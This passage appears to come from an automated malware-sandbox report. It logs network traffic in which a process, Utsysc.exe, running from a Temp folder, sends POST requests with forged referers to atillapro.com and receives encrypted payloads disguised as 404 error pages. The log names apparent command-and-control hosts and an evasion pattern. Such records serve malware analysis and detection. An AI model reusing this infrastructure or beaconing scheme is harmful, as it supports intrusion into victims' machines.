50 16 3c 22 65 91 35 06 2b e0 38 9e ec 17 4d 01 fc d3 b1 3a 8d 7a cf 52 3d 1e 3d d9 09 38 1e 50 74 d3 ed 04 56 14 99 05 87 4e dc 28 ac df 22 87 14 18 ef 02 bd 97 f1 c5 58 03 17 2e 1f a3 37 4d a2 2a 95 37 54 b8 d5 e2 25 58 34 57 11 7f 80 1b 16 41 be 1b 15 2f 69 41 96 8c 75 c6 e6 d9 ab 5d 87 3f af 49 d0 b8 f5 51 f9 b4 8f 00 7b 6a 03 c2 44 69 5e 4c a2 28 19 bd d0 2e dd 92 ee 0a 01 dc fb 60 24 2e 76 18 9e c9 05 d1 35 2d 94 ad 83 ae 13 04 78 c9 09 e5 f8 61 2d d1 27 e3 80 5e 01 aa 27 14 82 2a 34 0b f0 73 1a e1 e2 01 23 43 55 8a 87 49 fd 32 c1 86 f3 a9 63 10 ff be b8 b1 ea 98 20 53 53 ae 5e ac f3 34 32 5b ce 28 48 27 42 41 29 4e 77 cb ff fc bd 65 d1 41 26 81 70 15 2d a7 59 73 cb 21 51 aa f7 fe 99 14 6d 69 1f 8d 6f c5 c0 b5 11 0c 89 30 88 13 42 93 b4 a9 05 1b 69 8f 68 4b fd 30 bd 1b c8 dc d0 ed e0 43 74 92 45 bc a1 44 a6 22 7c 34 56 0b b6 5f 93 58 d7 a6 69 34 95 b6 cd 06 5c 2b ac b3 1b 76 2a 5e 38 2a 37 9c 78 97 50 6a c1 2c 79 48 b1 3c 2b c4 e2 90 7b 37 db b3 e8 7a 34 5a f2 e7 d6 02 57 cc e3 68 0f 34 71 6a f1 ec 15 94 be ca 61 9f 3e 18 bd 12 de d8 5b 23 55 45 69 fd fb ea a3 29 1d 7c 02 57 7d 61 34 b1 a4 fa ea 18 25 e2 25 e7 b0 c6 8c ad 37 53 23 21 c0 8a 66 56 9e 29 9f ad 05 a5 d6 9a f6 66 43 19 81 07 71 78 55 b2 e8 74 b7 4c 69 76 69 f6 06 e7 8b c4 aa a5 86 dc 07 7c 4c e4 b2 33 1e 15 5a 19 1e 05 18 03 bb ff 31 ef b3 1d a6 1b 4d 97 43 6f 7c 64 fb ea 65 33 28 6a 0d db 5c 4e ca 3a 69 e1 94 e0 50 a3 23 83 f3 1e 68 74 83 16 c8 36 34 65 39 22 e1 02 bd 70 63 61 09 06 92 82 ac aa 5d d6 cf 0f 2c f7 33 68 3a 56 04 5c f0 d2 f8 10 4f 69 6a b7 8b 45 49 84 7a ad f8 fb 88 82 71 5a 8b 5f 2f db 2b 4a 14 ec 1b db 0a 6f 16 d3 ab a0 a7 17 54 e0 00 c1 56 71 c8 76 25 57 1a fd e1 53 41 ab d0 dd 70 f5 d0 1e e8 e8 35 82 7f 35 d6 40 2c 9f fc f2 3d be 7d 2e 67 d1 bd 30 76 f4 4f 0e 1a ce 1b 6e a0 20 14 90 a2 77 bb 6f 2a 1f b7 b0 17 3a cb 49 69 2c 4a 62 fd 93 27 18 0e 86 db 9c f8 9b 0c ee 06 fd 3c af 6e f6 a1 3b fc 0a f6 5c c1 65 0a 76 21 65 3a b6 e7 f2 c1 11 af 13 ca 76 c9 04 da 24 28 cf 87 33 56 23 92 f2 aa db 09 d6 ce 1a a2 d2 17 bf 79 34 3a 00 3c 40 62 58 38 cc 2d ad 3c d9 ed 64 44 6e be 6e fa bc b3 e8 94 58 30 3c 6f 9d aa 24 82 29 33 36 96 24 24 d7 54 54 f6 1d 94 16 b2 3e e0 ff f6 e2 4a 14 9c 55 54 45 c2 88 27 aa c9 97 72 44 ad 4f 10 ef 72 da d2 d6 18 b2 cf cb d0 31 89 a4 42 f6 07 b4 64 6d 59 e1 a9 8d 0a 04 2f 16 3b bf 38 99 d0 31 63 80 23 Data Ascii: 61b39j(W-Kt!zDC,<Z+v0Hb7?siVN~LeM\|V`iqCb[g%+\|mpZhKuAPOf@y<)UO]Xy2)PzH3bNEF~b(S"\|p]RaxBV3>JFgd-=JXwYjCP<"e5+8M:zR==8PtVN("X.7M7T%X4WA/iAu]?IQ{jDi^L(.`$.v5-xa-'^'4s#CUI2c SS^42[(H'BA)NweA&p-Ys!Qmio0BihK0CtED"\|4V_Xi4\+v^87xPj,yH<+{7z4ZWh4qja>[#UEi)\|W}a4%%7S#!fV)fCqxUtLivi\|L3Z1MCo\|de3(j\N:iP#ht64e9"pca],3h:V\OijEIzqZ_/+JoTVqv%WSAp55@,=}.g0vOn wo:Ii,Jb'<n;\ev!e:v$(3V#y4:<@bX8-<dDnnX0<o$)36$$TT>JUTE'rDOr1BdmY/;81c#
Apr 9, 2024 14:54:00.413538933 CEST	1289	IN	Data Raw: 2b de dd 27 96 e0 b9 e0 77 c1 d2 7e 50 fc c2 0e a2 7e 57 20 53 d1 22 ee 88 62 0f e6 3b d0 45 04 c6 cd d9 8e 20 cb 32 64 0d 4b a5 55 4b 20 f9 21 db fe 71 0b cc a0 87 18 2c 3d 5c 80 9e 58 c6 d5 95 3f e7 b6 f5 52 83 4b 87 07 7e 88 37 19 cf 88 6e 6b Data Ascii: +'w~P~W S"b;E 2dKUK !q,=\X?RK~7nkk0Y4;ys&-2(hgSuuhh2qfw'`"Y9:e>"8+v3)=A_AZ+?[<e)\LR4oy5QYh4W~v=]
Apr 9, 2024 14:54:00.413549900 CEST	1289	IN	Data Raw: bf 01 a1 57 a7 90 9c df e9 6e 8f f1 ba 4a a6 1e 84 ed 88 cd 3c 23 8c 33 c6 5f f6 3d 9d 3a 7c d4 37 b1 57 22 20 f4 b3 69 a0 53 e6 ac 12 b7 13 64 31 8b 1c 10 20 7e 3d d1 fd 78 2c c1 8a a9 1e 97 af b9 0a 01 ad ad e5 e2 be 12 02 61 1a 01 d9 22 25 f9 Data Ascii: WnJ<#3_=:\|7W" iSd1 ~=x,a"%{8Nn<X&KfSSv80rW"B*Ig5ZY.tanV'RE_^ > v$1nlcd}wB6>!d+ D@tXP{W(%M
Apr 9, 2024 14:54:00.413563013 CEST	1289	IN	Data Raw: 10 86 40 d8 f8 ea e2 23 54 7d 91 52 7b 44 a2 b1 12 a6 54 ab 62 1c 31 f5 56 78 c1 6d c0 51 db ba 90 c9 19 bf 11 e8 bb f7 8d ce e2 10 62 76 50 e7 7c 4e f7 d7 fc 12 2a d2 6c 00 e1 d4 2e b0 0e f5 d3 ef c0 f3 13 42 52 79 d7 89 75 73 18 03 a8 53 13 37 Data Ascii: @#T}R{DTb1VxmQbvP\|N*l.BRyusS7"=$f`_bGn}a\H>'!wGIn_3'JsC4Cf'\|OPXx2P6F9V2kmz7Nr;
Apr 9, 2024 14:54:00.413574934 CEST	1289	IN	Data Raw: 0a 98 ea f3 f0 35 07 2c 6b 1d 98 15 db 4f 0a 04 40 09 56 65 c3 c9 66 41 bf 24 ab 51 14 38 bd 59 5a 0a a3 15 95 4b 9e 67 7b a2 07 81 4d e0 b8 59 92 dc 4f a8 f8 0b f1 56 61 03 d7 c1 74 ff 6d 35 40 e9 16 1d 99 2a 32 15 7e 80 bc 0b f9 15 78 43 a9 f0 Data Ascii: 5,kO@VefA$Q8YZKg{MYOVatm5@*2~xCJT+\<`xx+RIMG0JHW@b\NhYQoGC"&89PTAydm.,kKsiE?1mQZ\|Q4(Lx5g\'HKlX? Ab7N
Apr 9, 2024 14:54:00.413616896 CEST	1289	IN	Data Raw: b8 73 8e 2f df 2a 57 d4 18 67 7a 3b 57 e0 9a 1d fe a5 96 05 84 2d 46 f9 ff f7 36 62 3d 51 d5 e2 f3 c7 62 1a 7e f9 3f 89 e5 80 1a 6d ed 90 ed af 3b e1 75 f2 6b b2 1a 92 d6 f8 c0 44 f9 a6 52 32 15 4c 5c 77 d5 bc e9 bc 1f 0d de f0 af 00 e6 77 fe e2 Data Ascii: s/Wgz;W-F6b=Qb~?m;ukDR2L\wwSTIK81^l\|[=H0vg@3HCW+r;q`l!K!I"Y(R$@6nMIC~jn4Cu7'W&za1Wqx\|tSf 1>~-{
Apr 9, 2024 14:54:00.413629055 CEST	1289	IN	Data Raw: 5a d8 6b 12 4c 3c e0 d5 5a 77 c2 17 c4 ad 38 1b 6f 58 92 32 d2 81 ae 68 42 c8 ce f1 f9 2f fd de 92 93 3f e5 ae 09 10 be 47 8b 26 44 c0 f2 9d ba c2 0e ab 58 cf 68 90 ae 57 53 01 a8 10 97 3c cf 8f 25 4a be 16 8b 94 91 ff b8 b7 aa 0f 39 b1 cd 7e 47 Data Ascii: ZkL<Zw8oX2hB/?G&DXhWS<%J9~GhokOdCV<:PD"\|A/IvHJ _$3(L{}1<<GMGcK@YaZHeuf?D}^o!L$Kb8n3^
Apr 9, 2024 14:54:00.413642883 CEST	1289	IN	Data Raw: 98 c3 4f 6a 09 19 0d e2 d3 d8 ed 5b 2f 6f 82 84 a7 1b 1b 07 3a 7c e2 44 18 b9 8d a1 22 5a 2a 09 73 1e 89 3b f2 c9 4d a1 05 14 ba 3c b4 a8 04 cd f2 f7 95 f2 53 aa f6 70 21 1d cc 91 75 83 04 d3 f9 c8 f0 09 57 71 63 0d b0 17 23 9e ee fa ac 84 56 9a Data Ascii: Oj[/o:\|D"Z*s;M<Sp!uWqc#V+A$)"'<"\u%H=I]He/nKrM ?\w.fp&bg@JR{;m2"usI-3OW.^N@3VmqDg
Apr 9, 2024 14:54:00.413655043 CEST	1289	IN	Data Raw: a3 98 c6 91 45 e5 db e1 ea 04 57 9a ef 7e b1 e9 2f 60 51 c6 63 52 0b e1 3c ea f5 61 4f ad 97 33 63 dc 28 e5 15 b2 7a 9a ac 42 17 1b 0d ee 6b 11 10 34 12 0a 6c 07 19 33 66 ad 82 c3 31 c0 a2 1a f3 3c 67 1d 03 86 7e f7 af 7c e8 66 7d 77 15 46 fa dc Data Ascii: EW~/`QcR<aO3c(zBk4l3f1<g~\|f}wFcFlk@.WZ[{Sxa<5PN7`p{K}Ps`O+FUxX{u}.f~#`
Apr 9, 2024 14:54:00.413667917 CEST	1289	IN	Data Raw: d3 b1 21 9e c2 dc c8 2b 6b 4c f0 04 35 fd ce 0a 20 a9 0a d4 4d b9 ff fb d2 a9 00 fd e9 06 fa a6 30 e8 ae cf 22 99 15 ee 2a 93 38 6b 9b df 55 ec db 2d c5 5c e5 f2 a8 97 f0 32 42 45 c7 26 cc 23 c2 11 4c cb 3b 0a 61 8e 2c 35 9b d2 0c b6 65 9b f7 8a Data Ascii: !+kL5 M0"8kU-\2BE&#L;a,5ew^vj^SQ)+m._<3d(p8v#Fn0Q>q0H~~R&n>/HhNwghF>fR'-Qch<@AnuF0;DNP
Apr 9, 2024 14:54:01.341667891 CEST	266	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hqbdcesc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 249 Host: atillapro.com
Apr 9, 2024 14:54:01.547122955 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Apr 2024 12:54:01 GMT Server: Apache/2.4.41 (Ubuntu) Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 37 37 63 30 32 0d 0a 00 00 13 75 b6 2b 14 9a 80 f5 36 87 98 e3 5c 9c b0 61 a9 af ce 0b d1 b1 0c a2 6d f1 be 21 e8 69 ff e9 bd b1 49 f8 d2 b8 16 35 69 4d e1 9d 13 21 49 f5 23 36 cd 40 6a 31 0f 52 d1 5e 15 92 76 00 83 05 3d 22 64 5c 66 56 03 ee 3b 87 6c 41 c5 ee ce 0c ce 5d 45 52 7f cf e0 8c 8f 12 16 08 18 a2 53 47 7a 7f 8c f5 d8 69 ac 22 7a 2d 4b ec 56 19 bc 4f 14 02 aa 7f 51 c5 bf f7 8b 70 79 98 38 1f f4 79 73 1e 5d fe 67 2c 64 e3 ea f3 cd 1e 9e 56 b8 42 12 cb e5 a1 62 14 ec 15 ef 33 63 6d 71 78 53 9e 7b 2e 70 e0 83 4c c1 5f 4a 2b 10 33 2a fe 87 07 5f a0 52 82 77 36 b0 f7 30 5c 24 b9 fc 82 06 d4 00 d6 6a d9 fe f3 72 a8 4c 4c 1a d9 e3 5a 49 df 42 04 9c f6 c4 82 1d 2f dc 6e a9 57 9e 17 e5 c7 08 0e b2 bb 8c ab 86 a8 5f bb 84 f7 ac 51 64 e4 12 56 53 37 bd 7b ab fa 8a 59 38 89 f8 7e e5 7e e3 ec f1 91 23 35 f5 8e 57 94 d8 b0 04 82 ae f2 d6 a2 2c d7 cc eb b1 79 07 39 3e 79 e3 98 65 af 89 ff 40 ba 88 d9 c6 8a 6a 27 39 68 09 2b 84 4c 75 96 c5 dc c6 4f 3c 3d 6c a6 9e d8 9d 57 db 8d 9e ad 11 8b 8b 55 b5 24 84 c7 d0 95 6c 36 7a d7 28 ac 48 09 0c 8a b4 e0 54 66 14 b0 a4 c4 ac 46 a5 82 05 94 ed 41 c3 8f b1 24 41 7c d7 6a f2 95 5d 56 11 9e 61 8c bc d4 cd 02 09 de 44 b5 59 38 d8 25 d2 3d 50 18 2c c1 38 17 c3 6e 4b 02 bc 52 6d 24 35 f5 4f 48 4d ac 43 20 e7 49 e8 41 0b 57 ab 3c 4e e6 cf a7 29 6d 73 02 64 86 b5 bd 34 f3 74 17 40 3b 9c c6 a0 40 f9 cb 82 19 6c a2 b9 11 0f c5 5c 68 97 ab 69 2e 8f 82 8e 9b c7 75 77 c4 7d 27 dd 77 d4 e3 bc b0 c5 c8 c3 d2 59 29 d2 3c 79 89 80 b3 9b cd 5e 26 40 df d6 59 ed 5c c9 8b 7d 1f bd 35 dd 5c d0 32 fe 5d 3b 37 f0 89 3f eb 0c c0 73 fd a0 7c bc 94 79 f9 e8 6e eb a5 ba bf fe aa 2e 47 1f 85 f9 b7 92 e3 08 3d ee fa 49 ef d4 ad 12 6a 19 f9 37 34 59 94 14 eb b5 34 26 e4 70 ea 54 d7 c0 86 cd b3 b6 1c 6b c8 16 e6 07 0e d5 b1 ec b1 62 a2 c4 be c9 43 79 b1 cb 41 be b4 71 a5 26 dd 56 9f 5c 45 fa 6f d2 51 86 3a d2 1b be dd 7c 8b e0 3f 8d b4 5f fd 21 87 ff cb 91 cb e7 ea db 21 55 85 9d 4f 33 8a a7 b7 94 28 9a 9a b7 41 f7 a8 0c dc 5e 5c fd 9a 78 75 87 d0 da 0a b7 1f 43 5a 04 fd db 4b 34 c7 28 e6 37 62 d2 20 15 de 0b 3e d1 f3 e9 55 32 7b 1f 2e cc 8b 0e 5e c5 2f 72 c0 7c bb 4b 47 c2 b1 9f 22 ca f2 54 22 00 66 53 68 a0 ed 4e 0e 3b 40 30 16 2a 61 7c 73 e6 a2 99 89 5e 38 b8 f6 b5 91 a4 84 fb d4 d5 1c e8 f3 0b 49 66 6c b5 47 ae 4e ec 72 8b ab d6 f2 3e 6c 5c cc 19 3f 95 23 d2 c5 c0 b0 00 1d 9a 04 83 0d c3 c9 f9 ba b1 d4 f6 7e 47 a6 b8 e8 54 2b 2e ef 7e 3d c1 59 56 77 44 f9 14 2c 1c b4 1d 53 44 17 f3 f4 42 f4 72 c7 41 b8 3d 25 62 51 3d c6 d6 67 56 49 b2 ec aa e0 aa 52 fb d2 dc 6b c4 5f e8 be bd 06 45 6d cc d1 c8 c3 4a 74 9c be 6a 14 a3 e6 cc 86 92 c0 73 43 5b 13 f9 df 22 2b 5b fe 63 02 e4 92 9c 2e 75 68 f4 85 20 27 41 4d 9e 71 67 f0 f1 5a c2 6f a2 a3 d2 f7 70 ac df 50 8d df 56 42 24 58 4d 32 d7 8b 00 cb 90 9e 40 c5 84 ac a4 f2 62 b5 8b ed 35 32 75 07 46 ff 66 72 67 b3 ca 95 0f f8 04 fe 1c ef b8 79 a3 1b c7 24 88 e2 00 cc f3 ac e6 a9 ea a7 7d 63 04 88 62 99 73 6f 38 10 1f 69 ee 7c a7 30 d0 32 e9 80 86 86 dc a7 be bd 0a 91 52 10 e1 4b 73 59 32 29 58 43 81 00 d4 f4 0b 44 99 b4 d7 1e 43 ff 7e 85 b2 4a 96 88 72 d0 7f 0b 6a 8c 1d 1a 6d 14 24 cb 88 14 4e f5 62 56 0c 38 b4 80 4f ca 1e 60 8f e4 5a d6 d8 0b 8b 1a f7 a2 26 63 f1 50 42 64 9f 89 c6 e9 c1 74 94 b6 81 1d da c0 Data Ascii: 77c02u+6\am!iI5iM!I#6@j1R^v="d\fV;lA]ERSGzi"z-KVOQpy8ys]g,dVBb3cmqxS{.pL_J+3_Rw60\$jrLLZIB/nW_QdVS7{Y8~~#5W,y9>ye@j'9h+LuO<=lWU$l6z(HTfFA$A\|j]VaDY8%=P,8nKRm$5OHMC IAW<N)msd4t@;@l\hi.uw}'wY)<y^&@Y\}5\2];7?s\|yn.G=Ij74Y4&pTkbCyAq&V\EoQ:\|?_!!UO3(A^\xuCZK4(7b >U2{.^/r\|KG"T"fShN;@0a\|s^8IflGNr>l\?#~GT+.~=YVwD,SDBrA=%bQ=gVIRk_EmJtjsC["+[c.uh 'AMqgZopPVB$XM2@b52uFfrgy$}cbso8i\|02RKsY2)XCDC~Jrjm$NbV8O`Z&cPBdt
Apr 9, 2024 14:54:01.808079004 CEST	268	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wtjwgbwnjj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 313 Host: atillapro.com
Apr 9, 2024 14:54:02.013339996 CEST	612	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Apr 2024 12:54:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 401 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>
Apr 9, 2024 14:54:02.040338039 CEST	265	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://thjtogm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 340 Host: atillapro.com
Apr 9, 2024 14:54:02.251492977 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Apr 2024 12:54:02 GMT Server: Apache/2.4.41 (Ubuntu) Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 36 64 32 30 32 0d 0a 00 00 13 75 b6 2b 14 9a 80 f5 36 87 98 e3 5c 9c b0 61 a9 af ce 0b d1 b1 0c a2 6d f1 be 21 e8 69 ff e9 bd b1 49 f8 d2 b8 16 35 69 4d e1 9d 13 21 49 f5 23 36 cd 40 6a 31 0f 52 d1 5e 15 92 86 01 83 05 3d 22 64 5c 66 56 03 ee 3b 87 6c 41 c5 ee ce 0c ce 5d 45 52 7f cf e0 8c 8f 12 16 08 18 a2 53 47 7a 7f 8c f5 d8 69 ac 22 7a 2d 4b ec 56 19 bc 4f 14 02 aa 7f 51 c5 bf f7 8b 70 79 98 38 1f f4 79 66 cf dc f6 72 fd e5 eb ff 22 4c 16 8b 87 39 4a 33 6d 63 a8 7b c5 6d 1d 22 96 e9 64 fb a9 d2 96 5a 88 ff e9 8e 9d 40 57 49 98 c8 3a 20 2f 06 0f 9f 1c d1 8b fc e7 31 ff d7 26 cd b0 9e 53 87 dc 4e 6f ea d0 f8 22 f3 a0 7e 5b e6 d1 27 8b c8 d7 eb 7d 6c ff d1 53 9c 27 26 4c a5 b4 8a c6 64 cf a0 45 20 31 be 8e 16 23 0d d2 e7 9f 9f 74 f4 6f 12 56 53 37 bd 7b ab fa da 1c 38 89 b4 7f e3 7e bd 97 ae f5 23 35 f5 8e 07 d1 d8 b0 a8 83 a9 f3 93 42 6b b2 cc b1 b3 79 07 27 3b 79 03 98 66 ae d0 99 4c a2 88 e3 c3 8a 6a ef 3a 68 09 2b c4 4c 2e 95 c7 dc c6 5d 3c 3d 68 e6 9b d8 9d 57 9b 8d 9a bd 11 8b 8b 57 b5 24 82 77 d8 95 6c 32 7a d7 2e ac 48 09 0e 8a b4 e0 54 76 03 b0 a4 d0 ac 46 a5 82 15 94 ef 51 83 0e b1 24 51 7c c7 7a f2 95 5d 56 01 9e 61 9c bc d4 31 70 01 de f4 b5 59 38 d8 b5 da 3d 50 1c 2c c1 54 5c c5 6e ff 02 bc 52 6d 94 33 f5 af 49 4d ac 43 80 ef 49 78 43 0b 57 ab 3c 4e e6 cf a7 29 6d 73 c2 62 86 bd f2 34 f3 54 c2 45 3b a4 c6 a0 40 f9 cb 82 19 6c a2 b9 11 0f c5 5c 68 97 ab 69 2e 73 57 8b 9b df 75 77 c4 25 82 db 77 a8 e1 bc b0 c5 c8 c3 d2 59 29 d2 3c 79 c9 85 b3 93 ce 5e 26 40 df d6 59 ed 5c c9 8b 53 6b d8 4d a9 5c d0 32 12 05 39 37 f0 99 3f eb 22 ee 14 85 d4 78 bc 94 b3 d1 ed 6e eb b5 ba bf fe 80 2b 47 3f 81 f9 d7 bc 97 6d 45 9a 98 3a 9c d4 ad 13 6a 39 89 35 54 77 e6 70 8a c1 55 26 e4 8e f6 55 d7 c0 c6 c8 b3 b6 02 6a c8 96 c8 02 ee fb c3 88 d0 16 c3 c4 be 81 4e 7c b1 8b 31 bd f4 5f cf 42 a9 37 c1 5e 45 0e 29 d2 51 86 5a d4 1b be e9 7c 8b a0 73 8b f4 71 99 40 f3 9e cb 91 cb a3 ea db 21 15 05 95 8f 1d fa d4 c5 f7 44 9d 9a 57 40 f7 a8 0c 6c 58 5c fd 98 78 75 c7 50 dc ca 99 6d 30 28 67 fd db 4b 34 c3 28 e6 77 f2 da 60 3b a8 6e 52 be fe ee 55 3a 34 1f 2e cc 4b 08 5e c5 7f 72 c0 3c 39 4d 07 ec c3 fa 4e a5 91 54 22 dc 6e 53 68 e0 4d 46 4c 3b 4a 30 16 2a 13 7b 73 e6 a2 99 89 5e 38 b8 f6 b5 91 a4 84 bb d4 d5 5e e8 f3 0b 49 66 6c b5 47 ae 4e ec 72 8b ab d6 f2 3e 6c 5c cc 19 3f 95 23 d2 c5 c0 b0 00 1d 9a 04 83 0d c3 c9 f9 ba b1 d4 f6 7e 47 a6 b8 e8 54 2b 2e ef 7e 3d c1 59 56 77 44 f9 14 2c 1c b4 1d 53 44 17 f3 f4 42 f4 72 c7 41 b8 3d 25 62 51 3d c6 d6 67 56 49 b2 ec aa e0 aa 52 fb d2 dc 6b c4 5f e8 be bd 06 45 6d cc d1 c8 c3 4a 74 9c be 6a 14 a3 e6 cc 86 92 c0 73 43 5b 13 f9 df 22 2b 5b fe 63 02 e4 92 9c 2e 75 68 f4 85 20 27 41 4d 9e 71 67 f0 f1 5a c2 6f a2 a3 d2 f7 70 ac df 50 8d df 56 42 24 58 4d 32 d7 8b 00 cb 90 9e 40 c5 84 ac a4 f2 62 b5 8b ed 35 32 75 07 46 ff 66 72 67 b3 ca 95 0f f8 04 fe 1c ef b8 79 a3 1b c7 24 88 e2 00 cc f3 ac e6 a9 ea a7 7d 63 04 88 62 99 73 6f 38 10 1f 69 ee 7c a7 30 d0 32 e9 80 86 86 dc a7 be bd 0a 91 52 10 e1 4b 73 59 32 29 58 43 81 00 d4 f4 0b 44 99 b4 d7 1e 43 ff 7e 85 b2 4a 96 88 72 d0 7f 0b 6a 8c 1d 1a 6d 14 24 cb 88 14 4e f5 5c fd 79 59 bc ed 02 be 20 0a c2 4d 9e e5 01 4f 93 99 f7 b7 d9 9e da 20 03 64 43 8a 7e 02 86 f4 da 86 60 e5 14 0e Data Ascii: 6d202u+6\am!iI5iM!I#6@j1R^="d\fV;lA]ERSGzi"z-KVOQpy8yfr"L9J3mc{m"dZ@WI: /1&SNo"~['}lS'&LdE 1#toVS7{8~#5Bky';yfLj:h+L.]<=hWW$wl2z.HTvFQ$Q\|z]Va1pY8=P,T\nRm3IMCIxCW<N)msb4TE;@l\hi.sWuw%wY)<y^&@Y\SkM\297?"xn+G?mE:j95TwpU&UjN\|1_B7^E)QZ\|sq@!DW@lX\xuPm0(gK4(w`;nRU:4.K^r<9MNT"nShMFL;J0*{s^8^IflGNr>l\?#~GT+.~=YVwD,SDBrA=%bQ=gVIRk_EmJtjsC["+[c.uh 'AMqgZopPVB$XM2@b52uFfrgy$}cbso8i\|02RKsY2)XCDC~Jrjm$N\yY MO dC~`
Apr 9, 2024 14:54:02.339693069 CEST	268	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bnusfkiucs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 328 Host: atillapro.com
Apr 9, 2024 14:54:02.543991089 CEST	612	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Apr 2024 12:54:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 401 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

